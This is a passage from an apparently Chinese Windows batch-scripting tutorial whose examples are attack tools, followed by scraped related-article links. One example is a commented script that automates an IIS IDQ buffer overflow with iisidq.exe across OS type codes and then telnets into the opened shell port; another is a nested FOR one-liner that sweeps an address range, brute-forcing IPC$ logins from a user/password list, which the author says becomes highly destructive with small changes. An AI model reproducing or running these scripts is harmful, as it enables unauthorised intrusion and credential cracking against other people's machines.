
    这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exeiisidq.exe的用法如下:

    运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>

    其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"

    其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下:

    @echo off /*同例一

    if not EXIST iisidq.exe goto file /*同例一

    if %1 == "" goto error /*同例一

    ping %1 -n 1 | find "Received = 1" /*同例一

    if errorlevel 1 goto error1 /*同例一

    set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip

    set a=0 /*创建一个环境变量a并指定环境变量a0。由于使用整个批处理的循环所以用a来做计数器。

    :no /*no段开始

    if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0

    if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码,用计数器来控制其 if %a%==2 set d=2 /*变动。

    if %a%==3 set d=3

    if %a%==4 set d=4

    if %a%==5 set d=5

    if %a%==6 set d=6

    if %a%==7 set d=7

    if %a%==9 set d=9

    if %a%==10 set d=13

    if %a%==11 set d=14

    goto 0 /*变量传递完成后转到标志0处运行

    :1

    echo 正在执行第%d%!与目标%b%不能连接!正在尝试连接请等候......

    :0 /*标志0开始

    IISIDQ %d% %b% 80 1 99 |find "good" /*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good

    if errorlevel 1 goto 1 /*如果没有good字符串则没有发送成跳

    /*转标志1处继续尝试发送

    ping 127.0.0.1 -n 8 >nul /*ping自己8次相当于延时8秒不显示执

    /*行结果

    echo 正在执行第%d%! /*报告正在溢出的操作系统类型

    telnet %b% 99 /*连接溢出端口

    echo. /*显示一个空行

    if %d%==14 goto error1 /*如果操作系统类型为14则跳转error1处(循环出口)

    if %d%==13 set a=11 /*开始用计数器对操作系统代码重新附值

    if %d%==9 set a=10

    if %d%==7 set a=9

    if %d%==6 set a=7

    if %d%==5 set a=6

    if %d%==4 set a=5

    if %d%==3 set a=4

    if %d%==2 set a=3

    if %d%==1 set a=2

    if %d%==0 set a=1

    goto no /*附值完成跳转no段执行

    :file /*以下都是出错后的帮助提示

    echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!

    goto exit

    :error

    echo 错误!目标ip不可识别!请使用下面的格式连接!

    echo idq [目标IP]

    goto exit

    :error1

    echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!

    echo 请按照下面的格式手工尝试!

    echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]

    echo telnet [目标ip] [溢出端口]

    :exit /*整个程序的出口

    这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。

    例三

    for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use //%1.%%a.%%b.%%c/ipc$ %%e /u:%%f

    上面的命令为1条命令。大家可以看出该命令使用了4FOR来套用的。用法为:C:/>TEST.BAT 218 当输入218回车后该命令会由第1for取初始值0%%a然后继续取第2for的初始值0%%b继续取第3for的初始值1%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)

    net usr //218.0.0.1/ipc$ 123 /u:abc

    当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。

    这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!

     

    后记:

    批处理的语法其实很简单,但需要灵活的运用。希望这篇教程能让大家以后都熟练的使用批处理,一些基本的问题可以靠自己的能力去解决。这样我的目的也就达到了!!哈哈!大家快乐才是真的快乐。

     

    展开全文
  • 命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批 处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们...
  • Windows批处理命令学习一
  • Windows批处理命令学习

    2012-02-16 14:18:23
    Windows批处理命令学习一  Windows的批处理命令固然比不上unix的shell脚本强大,但用好了仍能给我们的工作带来很大作用。一个朋友问我为什么学习批处理命令,我以《程序员修炼之道——从小工到专家》一书的一句话...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 8,263
精华内容 3,305
关键字:

windows批处理命令教程下载